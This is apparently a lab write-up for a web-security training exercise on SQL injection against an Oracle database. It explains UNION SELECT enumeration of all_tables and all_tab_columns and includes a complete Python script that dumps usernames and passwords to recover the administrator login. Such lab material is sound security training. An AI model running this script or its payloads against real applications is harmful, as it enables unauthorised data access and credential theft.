SQLi Lab 6
SQL injection for metadata enumeration and admin credential extraction on Oracle databases
SQL injection attack, listing the database contents on Oracle#
This lab demonstrates how SQL injection (SQLi) on an Oracle database can be used to enumerate metadata and extract user credentials. The vulnerable product category filter returns query results in the application’s response, allowing a UNION SELECT
attack to pull data from system metadata tables such as all_tables
and all_tab_columns
. Because Oracle requires a FROM
clause for every SELECT
, the built-in dual
table is useful when selecting constant values during enumeration.
By determining the number of columns and which columns hold text, I enumerated table names, discovered the user table, retrieved column names for username and password fields, and finally dumped user credentials — including the administrator account needed to complete the lab.
How Exploit Works#
- The
category
parameter in/filter
is vulnerable to SQL injection. - First confirm the number of columns and which return text (e.g.
'+UNION+SELECT+'abc','def'+FROM+dual--
). - Use
all_tables
to list table names (Oracle-specific system view). - Use
all_tab_columns
to enumerate column names for the discovered user table. - Identify the username and password column names.
- Perform a final
UNION SELECT
to dump usernames and passwords from the discovered table (remember Oracle requiresFROM <table>
; usedual
when selecting constants). - Locate the administrator row and use the recovered password to log in.
Usage#
python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmdExploit#
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Burp proxy settings
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
def check_burp():
"""
Verifies that Burp Suite is running and listening on the configured proxy.
"""
try:
requests.get("http://127.0.0.1:8080", timeout=3)
except requests.RequestException:
print("[-] Burp Suite proxy is not reachable. Please start Burp.")
sys.exit(1)
def get_users_table_name(url):
"""
Extracts the users table name by querying the 'all_tables' in Oracle.
"""
print("[*] Trying to extract users table name...")
payload = "' UNION SELECT table_name, NULL FROM all_tables --"
uri = '/filter?category='
try:
res = requests.get(url + uri + payload, verify=False, proxies=proxies)
res.raise_for_status()
except requests.RequestException as e:
print(f"[-] Request failed while fetching table names: {e}")
sys.exit(1)
soup = BeautifulSoup(res.text, 'html.parser')
for th in soup.find_all('th'):
if th.text.lower().startswith("users"):
print(f"[+] Found users table: {th.text}")
return th.text
print("[-] Users table not found.")
sys.exit(1)
def get_column_names(url, table_name):
"""
Extracts username and password column names from the given table in Oracle.
"""
print(f"[*] Extracting columns from table: {table_name}")
payload = f"' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name='{table_name}' --"
uri = '/filter?category='
try:
res = requests.get(url + uri + payload, verify=False, proxies=proxies)
res.raise_for_status()
except requests.RequestException as e:
print(f"[-] Request failed while fetching columns: {e}")
sys.exit(1)
soup = BeautifulSoup(res.text, 'html.parser')
username_col = password_col = None
for th in soup.find_all('th'):
if th.text.lower().startswith("username"):
username_col = th.text
if th.text.lower().startswith("password"):
password_col = th.text
if username_col and password_col:
print(f"[+] Found username column: {username_col}")
print(f"[+] Found password column: {password_col}")
return username_col, password_col
print("[-] Required columns not found.")
sys.exit(1)
def get_admin_credentials(url, table_name, username_col, password_col):
"""
Extracts administrator credentials from the table using the discovered columns in Oracle.
"""
print("[*] Extracting administrator credentials...")
payload = f"' UNION SELECT {username_col}, {password_col} FROM {table_name} --"
uri = '/filter?category='
try:
res = requests.get(url + uri + payload, verify=False, proxies=proxies)
res.raise_for_status()
except requests.RequestException as e:
print(f"[-] Request failed while retrieving credentials: {e}")
sys.exit(1)
soup = BeautifulSoup(res.text, 'html.parser')
admin_entry = soup.find('th', string='administrator')
if admin_entry:
username = admin_entry.text.strip()
password = admin_entry.find_next_sibling('td').text.strip()
print(f"[+] Administrator credentials found!")
print(f" Username: {username}")
print(f" Password: {password}")
else:
print("[-] Administrator credentials not found in the response.")
def main():
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <url>")
print(f"Example: python {sys.argv[0]} https://target.com")
sys.exit(1)
url = sys.argv[1].strip()
check_burp()
users_table = get_users_table_name(url)
username_col, password_col = get_column_names(url, users_table)
get_admin_credentials(url, users_table, username_col, password_col)
if __name__ == "__main__":
main()
python